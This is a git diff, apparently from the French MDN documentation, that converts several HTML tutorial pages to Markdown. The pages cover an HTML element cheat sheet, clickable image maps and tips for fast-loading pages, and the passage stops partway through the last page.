{{EmbedLiveSample("b-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Texte d'importance</td> + <td>{{HTMLElement("strong")}}</td> + <td id="strong-example"> + <pre class="brush: html"> +<strong>Ce contenu est important !</strong></pre + > + {{EmbedLiveSample("strong-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Marquer du texte</td> + <td>{{HTMLElement("mark")}}</td> + <td id="mark-example"> + <pre class="brush: html"><mark>Vous me voyez ?</mark></pre> + {{EmbedLiveSample("mark-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Texte barré</td> + <td>{{HTMLElement("s")}}</td> + <td id="s-example"> + <pre class="brush: html"> +<s>Je ne suis plus pertinent.</s></pre + > + {{EmbedLiveSample("s-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Mise en indice</td> + <td>{{HTMLElement("sub")}}</td> + <td id="sub-example"> + <pre class="brush: html">H<sub>2</sub>O</pre> + {{EmbedLiveSample("sub-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Texte de commentaire</td> + <td>{{HTMLElement("small")}}</td> + <td id="small-example"> + <pre class="brush: html"> +Utilisé pour représenter <small>les petites +notes </small> d'un document.</pre + > + {{EmbedLiveSample("small-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Adresse</td> + <td>{{HTMLElement("address")}}</td> + <td id="address-example"> + <pre class="brush: html"> +<address>15 Rue du Bourg</address></pre + > + {{EmbedLiveSample("address-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Citation textuelle</td> + <td>{{HTMLElement("cite")}}</td> + <td id="cite-example"> + <pre class="brush: html"> +Pour plus d'informations sur les monstres, +voir <cite>Le monstrueux livre des monstres</cite>.</pre + > + {{EmbedLiveSample("cite-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Mise en exposant</td> + <td>{{HTMLElement("sup")}}</td> + <td id="sup-example"> + <pre class="brush: html">x<sup>2</sup></pre> + {{EmbedLiveSample("sup-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Citation en ligne</td> + <td>{{HTMLElement("q")}}</td> + <td id="q-example"> + <pre class="brush: html"> +<q>Toi aussi mon fils ?</q>, a-t-il dit.</pre + > + {{EmbedLiveSample("q-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Un saut de ligne</td> + <td>{{HTMLElement("br")}}</td> + <td id="br-example"> + <pre class="brush: html">Ligne 1<br>Ligne 2</pre> + {{EmbedLiveSample("br-example", 100, 80)}} + </td> + </tr> + <tr> + <td>Un saut de ligne possible</td> + <td>{{HTMLElement("wbr")}}</td> + <td id="wbr-example"> + <pre class="brush: html"> +<div style="width: 200px"> + Llanfair<wbr>pwllgwyngyllgogerychwyrngogogoch. +</div></pre + > + {{EmbedLiveSample("wbr-example", 100, 80)}} + </td> + </tr> + <tr> + <td>Date</td> + <td>{{HTMLElement("time")}}</td> + <td id="time-example"> + <pre class="brush: html"> Utilisé pour mettre en forme la date. Par exemple : -<time datetime="2020-05-24" pubdate> -Publié le 24 mai 2020</time>.</pre> -{{EmbedLiveSample("time-example", 100, 60)}}</td> - </tr> - <tr> - <td>Code</td> - <td>{{HTMLElement("code")}}</td> - <td id="code-example"><pre class="brush: html"> +<time datetime="2020-05-24" pubdate> +Publié le 24 mai 2020</time>.</pre + > + {{EmbedLiveSample("time-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Code</td> + <td>{{HTMLElement("code")}}</td> + <td id="code-example"> + <pre class="brush: html"> Ce texte est au format normal, -mais <code>celui-ci représente du code</code>.</pre> -{{EmbedLiveSample("code-example", 100, 60)}}</td> - </tr> - <tr> - <td>Audio</td> - <td>{{HTMLElement("audio")}}</td> - <td id="audio-example"><pre class="brush: html"> -<audio controls="controls"> - <source="t-rex-roar.mp3" type="audio/mpeg"> +mais <code>celui-ci représente du code</code>.</pre + > + {{EmbedLiveSample("code-example", 100, 60)}} + </td> + </tr> + <tr> + <td>Audio</td> + <td>{{HTMLElement("audio")}}</td> + <td id="audio-example"> + <pre class="brush: html"> +<audio controls="controls"> + <source="t-rex-roar.mp3" type="audio/mpeg"> Votre navigateur ne prend pas en charge audio. -</audio></pre> -{{EmbedLiveSample("audio-example", 100, 80)}}</td> - </tr> - <tr> - <td>Video</td> - <td>{{HTMLElement("video")}}</td> - <td id="video-example"><pre class="brush: html"> -<video controls width="250" - src="https://archive.org/download/ElephantsDream/ed_hd.ogv" > - L'élément <code>video</code> n'est pas pris en charge. -</video></pre> -{{EmbedLiveSample("video-example", 100, 200)}}</td> - </tr> - </tbody> +</audio></pre + > + {{EmbedLiveSample("audio-example", 100, 80)}} + </td> + </tr> + <tr> + <td>Video</td> + <td>{{HTMLElement("video")}}</td> + <td id="video-example"> + <pre class="brush: html"> +<video controls width="250" + src="https://archive.org/download/ElephantsDream/ed_hd.ogv" > + L'élément <code>video</code> n'est pas pris en charge. +</video></pre + > + {{EmbedLiveSample("video-example", 100, 200)}} + </td> + </tr> + </tbody> </table> -<h2>Éléments de bloc</h2> +## Éléments de bloc -<p>Les éléments de bloc, en revanche, occupent toutes la largeur de la page. Ils occupent une ligne entière et ne sont pas apposés les uns à côtés des autres. Ils s'empilent plutôt à l'instar des paragraphes dans un texte.</p> +Les éléments de bloc, en revanche, occupent toutes la largeur de la page. Ils occupent une ligne entière et ne sont pas apposés les uns à côtés des autres. Ils s'empilent plutôt à l'instar des paragraphes dans un texte. <table class="standard-table"> - <thead> - <tr> - <th scope="col">Usage</th> - <th scope="col">Élément</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td>Un paragraphe</td> - <td>{{HTMLElement("p")}}</td> - <td id="p-example"><pre class="brush: html"> -<p>Je suis un paragraphe</p> -<p>Et un autre paragraph</p></pre> -{{EmbedLiveSample("p-example", 100, 150)}} - </td> - </tr> - <tr> - <td>Une citation étendue</td> - <td>{{HTMLElement("blockquote")}}</td> - <td id="blockquote-example"><pre class="brush: html">Ils sont alors dit : -<blockquote>L'élément blockquote indique une citation étendue.</blockquote></pre> -{{EmbedLiveSample("blockquote-example", 100, 100)}} - </td> - </tr> - <tr> - <td>Information supplémentaire</td> - <td>{{HTMLElement("details")}}</td> - <td id="details-example"><pre class="brush: html"> -<details> - <summary>Anti-sèche HTML</summary> - <p>Éléments en ligne</p> - <p>Éléments de bloc</p> -</details></pre> -{{EmbedLiveSample("details-example", 100, 150)}} - </td> - </tr> - <tr> - <td>Une liste non-ordonnée</td> - <td>{{HTMLElement("ul")}}</td> - <td id="ul-example"><pre class="brush: html"> -<ul><br> - <li>Je suis un élément de liste</li><br> - <li>Et moi un autre</li><br> -</ul></pre> -{{EmbedLiveSample("ul-example", 100, 100)}} - </td> - </tr> - <tr> - <td>Une liste ordonnée</td> - <td>{{HTMLElement("ol")}}</td> - <td id="ol-example"><pre class="brush: html"> -<ol><br> - <li>Je suis le premier élément</li><br> - <li>Et moi le deuxième</li><br> -</ol></pre> -{{EmbedLiveSample("ol-example", 100, 100)}} - </td> - </tr> - <tr> - <td>Une liste de définitions</td> - <td>{{HTMLElement("dl")}}</td> - <td id="dl-example"><pre class="brush: html"> -<dl> - <dt>Un terme</dt><br> - <dd>La définition du terme</dd> - <dt>Un autre terme</dt> - <dd>La définition d'un autre terme</dd> -</dl></pre> -{{EmbedLiveSample("dl-example", 100, 150)}} - </td> - </tr> - <tr> - <td>Un séparateur horizontal</td> - <td>{{HTMLElement("hr")}}</td> - <td id="hr-example"><pre class="brush: html"> -avant<hr>après</pre> -{{EmbedLiveSample("hr-example", 100, 100)}} - </td> - </tr> - <tr> - <td>Un titre</td> - <td>{{HTMLElement("Heading_Elements", "<h1>-<h6>")}}</td> - <td id="h1-h6-example"><pre class="brush: html"> -<h1> Titre de niveau 1 </h1> -<h2> Titre de niveau 2 </h2> -<h3> Titre de niveau 3 </h3> -<h4> Titre de niveau 4 </h4> -<h5> Titre de niveau 5 </h5> -<h6> Titre de niveau 6 </h6></pre> -{{EmbedLiveSample("h1-h6-example", 100, 350)}} - </td> - </tr> - </tbody> -</table>
\ No newline at end of file + <thead> + <tr> + <th scope="col">Usage</th> + <th scope="col">Élément</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <td>Un paragraphe</td> + <td>{{HTMLElement("p")}}</td> + <td id="p-example"> + <pre class="brush: html"> +<p>Je suis un paragraphe</p> +<p>Et un autre paragraph</p></pre + > + {{EmbedLiveSample("p-example", 100, 150)}} + </td> + </tr> + <tr> + <td>Une citation étendue</td> + <td>{{HTMLElement("blockquote")}}</td> + <td id="blockquote-example"> + <pre class="brush: html"> +Ils sont alors dit : +<blockquote>L'élément blockquote indique une citation étendue.</blockquote></pre + > + {{EmbedLiveSample("blockquote-example", 100, 100)}} + </td> + </tr> + <tr> + <td>Information supplémentaire</td> + <td>{{HTMLElement("details")}}</td> + <td id="details-example"> + <pre class="brush: html"> +<details> + <summary>Anti-sèche HTML</summary> + <p>Éléments en ligne</p> + <p>Éléments de bloc</p> +</details></pre + > + {{EmbedLiveSample("details-example", 100, 150)}} + </td> + </tr> + <tr> + <td>Une liste non-ordonnée</td> + <td>{{HTMLElement("ul")}}</td> + <td id="ul-example"> + <pre class="brush: html"><ul><br> + <li>Je suis un élément de liste</li><br> + <li>Et moi un autre</li><br> +</ul></pre> + {{EmbedLiveSample("ul-example", 100, 100)}} + </td> + </tr> + <tr> + <td>Une liste ordonnée</td> + <td>{{HTMLElement("ol")}}</td> + <td id="ol-example"> + <pre class="brush: html"><ol><br> + <li>Je suis le premier élément</li><br> + <li>Et moi le deuxième</li><br> +</ol></pre> + {{EmbedLiveSample("ol-example", 100, 100)}} + </td> + </tr> + <tr> + <td>Une liste de définitions</td> + <td>{{HTMLElement("dl")}}</td> + <td id="dl-example"> + <pre class="brush: html"><dl> + <dt>Un terme</dt><br> + <dd>La définition du terme</dd> + <dt>Un autre terme</dt> + <dd>La définition d'un autre terme</dd> +</dl></pre> + {{EmbedLiveSample("dl-example", 100, 150)}} + </td> + </tr> + <tr> + <td>Un séparateur horizontal</td> + <td>{{HTMLElement("hr")}}</td> + <td id="hr-example"> + <pre class="brush: html">avant<hr>après</pre> + {{EmbedLiveSample("hr-example", 100, 100)}} + </td> + </tr> + <tr> + <td>Un titre</td> + <td> + {{HTMLElement("Heading_Elements", "<h1>-<h6>")}} + </td> + <td id="h1-h6-example"> + <pre class="brush: html"> +<h1> Titre de niveau 1 </h1> +<h2> Titre de niveau 2 </h2> +<h3> Titre de niveau 3 </h3> +<h4> Titre de niveau 4 </h4> +<h5> Titre de niveau 5 </h5> +<h6> Titre de niveau 6 </h6></pre + > + {{EmbedLiveSample("h1-h6-example", 100, 350)}} + </td> + </tr> + </tbody> +</table> diff --git a/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md index 2bd7ccebb6..ca692dcccd 100644 --- a/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md +++ b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md @@ -9,117 +9,123 @@ tags: translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image original_slug: Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image --- -<p>Dans cet article, nous verrons comment construire une carte imagée cliquable en commençant par les inconvénients de cette méthode.</p> +Dans cet article, nous verrons comment construire une carte imagée cliquable en commençant par les inconvénients de cette méthode. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable savoir comment <a href="/fr/Apprendre/HTML/Écrire_une_simple_page_HTML">créer un document HTML simple</a> et connaître comment <a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web">ajouter des images accessibles à une page web.</a></td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre comment faire pour que différentes zones d'une même image pointent vers différentes pages.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable savoir comment + <a href="/fr/Apprendre/HTML/Écrire_une_simple_page_HTML" + >créer un document HTML simple</a + > + et connaître comment + <a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web" + >ajouter des images accessibles à une page web.</a + > + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre comment faire pour que différentes zones d'une même image + pointent vers différentes pages. + </td> + </tr> + </tbody> </table> -<div class="warning"> -<p><strong>Attention :</strong> Cet article n'aborde que les cartes générées côté client. Les cartes de zones générées côté serveur ne doivent pas être utilisée car elles ne sont accessibles qu'aux utilisateurs ayant des souris.</p> -</div> +> **Attention :** Cet article n'aborde que les cartes générées côté client. Les cartes de zones générées côté serveur ne doivent pas être utilisée car elles ne sont accessibles qu'aux utilisateurs ayant des souris. -<h2 id="Les_cartes_imagées_cliquables_et_leurs_inconvénients">Les cartes imagées cliquables et leurs inconvénients</h2> +## Les cartes imagées cliquables et leurs inconvénients -<p>Lorsque vous imbriquez une image dans un élément {{htmlelement("a")}}, l'image entière pointe vers une page web. En revanche, les cartes imagées contiennent plusieurs régions (aussi appelées « <em>hotspots</em> » en anglais) qui pointent chacunes vers une ressource distincte.</p> +Lorsque vous imbriquez une image dans un élément {{htmlelement("a")}}, l'image entière pointe vers une page web. En revanche, les cartes imagées contiennent plusieurs régions (aussi appelées « _hotspots_ » en anglais) qui pointent chacunes vers une ressource distincte. -<p>Auparavant, les cartes imagées était assez populaires mais, malgré cette popularité, elles posent quelques problèmes en termes de performances et d'accessibilité.</p> +Auparavant, les cartes imagées était assez populaires mais, malgré cette popularité, elles posent quelques problèmes en termes de performances et d'accessibilité. -<p><a href="/fr/Apprendre/HTML/Comment/Créer_un_hyperlien">Les liens textuels</a> (éventuellement mis en formes avec CSS) sont préférables à ces cartes car ils sont plus légers, plus faciles à maintenir, plus utiles pour le référencement et qu'ils sont supportés par les outils d'accessibilité.</p> +[Les liens textuels](/fr/Apprendre/HTML/Comment/Créer_un_hyperlien) (éventuellement mis en formes avec CSS) sont préférables à ces cartes car ils sont plus légers, plus faciles à maintenir, plus utiles pour le référencement et qu'ils sont supportés par les outils d'accessibilité. -<h2 id="Comment_insérer_une_carte_imagée">Comment insérer une carte imagée</h2> +## Comment insérer une carte imagée -<h3 id="Étape_1_l'image">Étape 1 : l'image</h3> +### Étape 1 : l'image -<p>N'importe quelle image ne fera pas l'affaire pour construire une telle carte.</p> +N'importe quelle image ne fera pas l'affaire pour construire une telle carte. -<ul> - <li>L'image doit indiquer de façon claire ce qui doit se passer quand les visiteurs suivent les liens des différentes zones (le texte contenu dans l'attribut <code>alt</code> est bien entendu obligatoire mais de nombreux visiteurs ne le verront pas).</li> - <li>L'image doit indiquer de façon claire où commencent et où se terminent les différentes régions.</li> - <li>Les différentes zones de la cartes doivent être suffisamment grandes pour qu'on puisse cliquer ou appuyer dessus, quelle que soit la taille de l'écran utilisé. <a href="http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/">Une image de 72 pixels CSS de long et de large</a> est un minimum acceptable (pour voir le problème posé par de trop petites régions : <a href="http://www.goethe-verlag.com/book2/">50languages.com</a>, où les grandes régions sont suffisamment grande mais où, pour l'Albanie et l'Estonie, c'est beaucoup plus compliqué</li> -</ul> +- L'image doit indiquer de façon claire ce qui doit se passer quand les visiteurs suivent les liens des différentes zones (le texte contenu dans l'attribut `alt` est bien entendu obligatoire mais de nombreux visiteurs ne le verront pas). +- L'image doit indiquer de façon claire où commencent et où se terminent les différentes régions. +- Les différentes zones de la cartes doivent être suffisamment grandes pour qu'on puisse cliquer ou appuyer dessus, quelle que soit la taille de l'écran utilisé. [Une image de 72 pixels CSS de long et de large](http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/) est un minimum acceptable (pour voir le problème posé par de trop petites régions : [50languages.com](http://www.goethe-verlag.com/book2/), où les grandes régions sont suffisamment grande mais où, pour l'Albanie et l'Estonie, c'est beaucoup plus compliqué -<p>On insère une image <a href="http://developer.mozilla.org/en-US/Learn/HTML/Howto/Add_images_to_a_webpage">de la même façon que d'habitude</a> (avec un élément {{htmlelement("img")}} et un texte dans l'attribut {{htmlattrxref("alt",'img')}}). Si l'image n'est présente qu'à des fins de navigations, <code>alt</code> peut être laissé vide : <code>alt=""</code>, si les valeurs pour les différents {{htmlattrxref("alt",'area')}} sont bien renseignés dans les éléments {{htmlelement('area')}} que nous allons présenter.</p> +On insère une image [de la même façon que d'habitude](http://developer.mozilla.org/en-US/Learn/HTML/Howto/Add_images_to_a_webpage) (avec un élément {{htmlelement("img")}} et un texte dans l'attribut {{htmlattrxref("alt",'img')}}). Si l'image n'est présente qu'à des fins de navigations, `alt` peut être laissé vide : `alt=""`, si les valeurs pour les différents {{htmlattrxref("alt",'area')}} sont bien renseignés dans les éléments {{htmlelement('area')}} que nous allons présenter. -<p>Cette image contiendra une attribut spécial {{htmlattrxref("usemap","img")}}. Celui-ci doit désigner avec un nom unique et sans espace la carte imagée. C'est ce nom qu'on placera dans cet attribut <code>usemap</code> :</p> +Cette image contiendra une attribut spécial {{htmlattrxref("usemap","img")}}. Celui-ci doit désigner avec un nom unique et sans espace la carte imagée. C'est ce nom qu'on placera dans cet attribut `usemap` : -<pre class="brush: html"><img +```html +<img src="image-map.png" alt="" - usemap="#exemple-map-1" /> -</pre> + usemap="#exemple-map-1" /> +``` -<h3 id="Étape_2_Activer_les_régions_actives">Étape 2 : Activer les régions actives</h3> +### Étape 2 : Activer les régions actives -<p>Dans cette étape, nous allons remplir le code de l'élément {{htmlelement('map')}}. Celui-ci n'a besoin que d'un seul attribut : {{htmlattrxref("name","map")}} dont la valeur doit correspondre à celle utilisée pour l'attribut <code>usemap</code> vue juste avant :</p> +Dans cette étape, nous allons remplir le code de l'élément {{htmlelement('map')}}. Celui-ci n'a besoin que d'un seul attribut : {{htmlattrxref("name","map")}} dont la valeur doit correspondre à celle utilisée pour l'attribut `usemap` vue juste avant : -<pre class="brush: html"><map name="exemple-map-1"> +```html +<map name="exemple-map-1"> -</map> -</pre> +</map> +``` -<p>Dans cet élément <code><map></code>, on aura besoin d'utiliser les éléments {{htmlelement('area')}}. Chacun de ces éléments correspondra à une région donnée. Afin que la navigation au clavier reste intuitive, il faudra veiller à ce que l'ordre de ces éléments HTML corresponde bien à l'ordre visuel des régions.</p> +Dans cet élément `<map>`, on aura besoin d'utiliser les éléments {{htmlelement('area')}}. Chacun de ces éléments correspondra à une région donnée. Afin que la navigation au clavier reste intuitive, il faudra veiller à ce que l'ordre de ces éléments HTML corresponde bien à l'ordre visuel des régions. -<p>Les éléments <code><area></code> sont des éléments vides mais qui utilisent quatres attributs :</p> +Les éléments `<area>` sont des éléments vides mais qui utilisent quatres attributs : -<dl> - <dt>{{htmlattrxref('shape','area')}}</dt> - <dt>{{htmlattrxref('coords','area')}}</dt> - <dd> - <p><code>shape</code> (« forme » en anglais) prend l'une de ces quatre valeurs : <code>circle</code> (pour un cercle), <code>rect</code> (pour un rectangle), <code>poly</code> (pour un polygone) ou <code>default</code> (une zone <code>default</code> occupera l'image entière à laquelle on aura retiré les autres zones déjà définies). La forme choisie détermine les informations de coordonnées qui seront utiles dans <code>coords</code>.</p> +- {{htmlattrxref('shape','area')}} - <ul> - <li>Pour un cercle (<code>circle</code>) : on fournira les coordonnées X/Y du centre, suivies par la longueur du rayon.</li> - <li>Pour un rectange (<code>rect</code>) : on fournira les coordonnées X/Y des coins haut/gauche et bas/droite.</li> - <li>Pour un polygone (<code>poly</code>) : on fournira les coordonnées X/Y de chacun des sommets (et donc au moins six valeurs).</li> - </ul> + {{htmlattrxref('coords','area')}} - <p>Les coordonnées exprimées sont données en pixels CSS.</p> + - : `shape` (« forme » en anglais) prend l'une de ces quatre valeurs : `circle` (pour un cercle), `rect` (pour un rectangle), `poly` (pour un polygone) ou `default` (une zone `default` occupera l'image entière à laquelle on aura retiré les autres zones déjà définies). La forme choisie détermine les informations de coordonnées qui seront utiles dans `coords`. - <p>Dans le cas où les définitions de certaines régions se chevauchent, ce sera l'ordre des zones qui donnera la priorité.</p> - </dd> - <dt>{{htmlattrxref('href','area')}}</dt> - <dd>Cet attribut est l'URL de la ressource vers laquelle on crée un lien. Elle peut être laissée vide si on ne souhaite pas créer de lien pour cette région.</dd> - <dt>{{htmlattrxref('alt','area')}}</dt> - <dd> - <p>Un attribut obligatoire qui indique aux personnes la direction ou le rôle du lien. Ce texte <code>alt</code> ne sera affiché que lorsque l'image ne sera pas disponible. Pour plus d'informations, voir <a href="/fr/Apprendre/HTML/Comment/Créer_un_hyperlien#Écrire_des_liens_accessibles">nos conseils pour écrire des hyperliens accessibles.</a></p> + - Pour un cercle (`circle`) : on fournira les coordonnées X/Y du centre, suivies par la longueur du rayon. + - Pour un rectange (`rect`) : on fournira les coordonnées X/Y des coins haut/gauche et bas/droite. + - Pour un polygone (`poly`) : on fournira les coordonnées X/Y de chacun des sommets (et donc au moins six valeurs). - <p>Vous pouvez écrire <code>alt=""</code> si l'attribut <code>href</code> est vide <em>et</em> que l'image entière possède déjà un attribut <code>alt</code> renseigné.</p> - </dd> -</dl> + Les coordonnées exprimées sont données en pixels CSS. -<pre class="brush: html"><map name="exemple-map-1"> - <area shape="circle" coords="200,250,25" - href="page-2.html" alt="exemple de cercle" /> + Dans le cas où les définitions de certaines régions se chevauchent, ce sera l'ordre des zones qui donnera la priorité. - <area shape="rect" coords="10, 5, 20, 15" - href="page-3.html" alt="exemple de rectangle" /> +- {{htmlattrxref('href','area')}} + - : Cet attribut est l'URL de la ressource vers laquelle on crée un lien. Elle peut être laissée vide si on ne souhaite pas créer de lien pour cette région. +- {{htmlattrxref('alt','area')}} -</map></pre> + - : Un attribut obligatoire qui indique aux personnes la direction ou le rôle du lien. Ce texte `alt` ne sera affiché que lorsque l'image ne sera pas disponible. Pour plus d'informations, voir [nos conseils pour écrire des hyperliens accessibles.](/fr/Apprendre/HTML/Comment/Créer_un_hyperlien#Écrire_des_liens_accessibles) -<h3 id="Étape_3_S'assurer_que_la_carte_fonctionne_pour_chacun">Étape 3 : S'assurer que la carte fonctionne pour chacun</h3> + Vous pouvez écrire `alt=""` si l'attribut `href` est vide _et_ que l'image entière possède déjà un attribut `alt` renseigné. -<p>Ce n'est pas encore fini. Il est nécessaire de s'assurer que la carte fonctionne bien sur différents navigateurs et appareils. Vous pouvez essayer de naviguer en utilisant uniquement de clavier. Vous pouvez également désactiver les images.</p> +```html +<map name="exemple-map-1"> + <area shape="circle" coords="200,250,25" + href="page-2.html" alt="exemple de cercle" /> -<p>Si votre carte imagée mesure plus de 240px environ, vous devrez réfléchir à comment l'ajuster pour que celle-ci soit adaptative. Il ne suffira pas de redimensionner l'image pour les écrans plus petits car les coordonnées qui resteraient les mêmes ne correspondraient plus aux différents points de l'image.</p> + <area shape="rect" coords="10, 5, 20, 15" + href="page-3.html" alt="exemple de rectangle" /> -<p>Si vous devez nécessairement utiliser de telles cartes, vous pouvez regarder <a href="https://github.com/stowball/jQuery-rwdImageMaps">ce plugin jQuery réalisé par Matt Stow.</a> Dudley Storey illustre une méthode qui consiste à <a href="http://thenewcode.com/696/Using-SVG-as-an-Alternative-To-Imagemaps">utiliser SVG pour réaliser un effet de carte imagée</a> ainsi qu'une bidouille pour les images matricielles avec <a href="http://thenewcode.com/760/Create-A-Responsive-Imagemap-With-SVG">une combinaison de SVG</a>.</p> +</map> +``` -<h2 id="En_savoir_plus">En savoir plus</h2> +### Étape 3 : S'assurer que la carte fonctionne pour chacun -<ul> - <li>{{htmlelement("img")}}</li> - <li>{{htmlelement("map")}}</li> - <li>{{htmlelement("area")}}</li> - <li><a href="http://www.maschek.hu/imagemap/imgmap">Un éditeur de carte de zones en ligne (en anglais)</a></li> - <li><a href="http://blog.goolara.com/2014/06/05/image-maps-revisited/">Des conseils sur comment gérer les cartes pour des clients mail (en anglais)</a></li> -</ul> +Ce n'est pas encore fini. Il est nécessaire de s'assurer que la carte fonctionne bien sur différents navigateurs et appareils. Vous pouvez essayer de naviguer en utilisant uniquement de clavier. Vous pouvez également désactiver les images. + +Si votre carte imagée mesure plus de 240px environ, vous devrez réfléchir à comment l'ajuster pour que celle-ci soit adaptative. Il ne suffira pas de redimensionner l'image pour les écrans plus petits car les coordonnées qui resteraient les mêmes ne correspondraient plus aux différents points de l'image. + +Si vous devez nécessairement utiliser de telles cartes, vous pouvez regarder [ce plugin jQuery réalisé par Matt Stow.](https://github.com/stowball/jQuery-rwdImageMaps) Dudley Storey illustre une méthode qui consiste à [utiliser SVG pour réaliser un effet de carte imagée](http://thenewcode.com/696/Using-SVG-as-an-Alternative-To-Imagemaps) ainsi qu'une bidouille pour les images matricielles avec [une combinaison de SVG](http://thenewcode.com/760/Create-A-Responsive-Imagemap-With-SVG). + +## En savoir plus + +- {{htmlelement("img")}} +- {{htmlelement("map")}} +- {{htmlelement("area")}} +- [Un éditeur de carte de zones en ligne (en anglais)](http://www.maschek.hu/imagemap/imgmap) +- [Des conseils sur comment gérer les cartes pour des clients mail (en anglais)](http://blog.goolara.com/2014/06/05/image-maps-revisited/) diff --git a/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md index 8dd4f33264..e863d69994 100644 --- a/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md +++ b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md @@ -7,113 +7,99 @@ tags: translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages original_slug: Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide --- -<p>C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. <br> - Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement.</p> +C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. +Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement. -<h3 id="Réduire_le_poids_de_la_page">Réduire le poids de la page</h3> +### Réduire le poids de la page -<p>Le poids de la page est de loin le facteur le plus important dans les performances de chargement de votre page. Pour les améliorer, on peut procéder de diverses manières:</p> +Le poids de la page est de loin le facteur le plus important dans les performances de chargement de votre page. Pour les améliorer, on peut procéder de diverses manières: -<ul> - <li>Eliminer les espaces et les commentaires inutile.</li> - <li> - <div>Déplacer le script intégré (ou "inline scripts") et le code CSS dans des fichiers externes (un pour JavaScript, un pour CSS,...). Des outils tels que <a class="external" href="http://www.html-tidy.org">HTML Tidy</a> peuvent automatiquement enlever les espaces de trop et les lignes vides à partir d'une source HTML valide. D'autres outils peuvent "compresser" JavaScript comme le libre <a class="external" href="http://yuilibrary.com/projects/yuicompressor/">YUIcompressor</a>.</div> - </li> - <li> - <div>Verifiez que votre site ne contient pas de code inutile ou de tags superflus. </div> - </li> -</ul> +- Eliminer les espaces et les commentaires inutile. +- Déplacer le script intégré (ou "inline scripts") et le code CSS dans des fichiers externes (un pour JavaScript, un pour CSS,...). Des outils tels que [HTML Tidy](http://www.html-tidy.org) peuvent automatiquement enlever les espaces de trop et les lignes vides à partir d'une source HTML valide. D'autres outils peuvent "compresser" JavaScript comme le libre [YUIcompressor](http://yuilibrary.com/projects/yuicompressor/). +- Verifiez que votre site ne contient pas de code inutile ou de tags superflus. -<p>Téléchargez le html d'abords, puis le CSS et le JavaScript nécessaires à son affichage, de sorte que l'utilisateur obtienne rapidement une réponse apparente au cours du chargement de la paget. Ce contenu est généralement du texte, et peuvent donc bénéficier de la compression de texte dans le modem, fournissant ainsi une réponse encore plus rapide à l'utilisateur.</p> +Téléchargez le html d'abords, puis le CSS et le JavaScript nécessaires à son affichage, de sorte que l'utilisateur obtienne rapidement une réponse apparente au cours du chargement de la paget. Ce contenu est généralement du texte, et peuvent donc bénéficier de la compression de texte dans le modem, fournissant ainsi une réponse encore plus rapide à l'utilisateur. -<h3 id="Réduisez_le_nombre_de_fichiers">Réduisez le nombre de fichiers</h3> +### Réduisez le nombre de fichiers -<p>Réduire le nombre de fichiers référencés dans une page web diminue le nombre de connexions <a href="/en/HTTP" title="https://developer.mozilla.org/en/HTTP">HTTP </a>nécessaire pour télécharger une page.</p> +Réduire le nombre de fichiers référencés dans une page web diminue le nombre de connexions [HTTP ](/en/HTTP "https://developer.mozilla.org/en/HTTP")nécessaire pour télécharger une page. -<ul> - <li>Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des <a class="external" href="http://css-tricks.com/examples/ButtonMaker/">boutons graphiques en CSS</a>.</li> - <li>Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser <a class="external" href="http://www.gimp.org/">Gimp</a> ou <a class="external" href="http://www.imagemagick.org/script/index.php">Imagemagik</a>.</li> - <li>Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur.</li> -</ul> +- Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des [boutons graphiques en CSS](http://css-tricks.com/examples/ButtonMaker/). +- Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser [Gimp](http://www.gimp.org/) ou [Imagemagik](http://www.imagemagick.org/script/index.php). +- Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur. -<p>Les videos sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page.</p> +Les videos 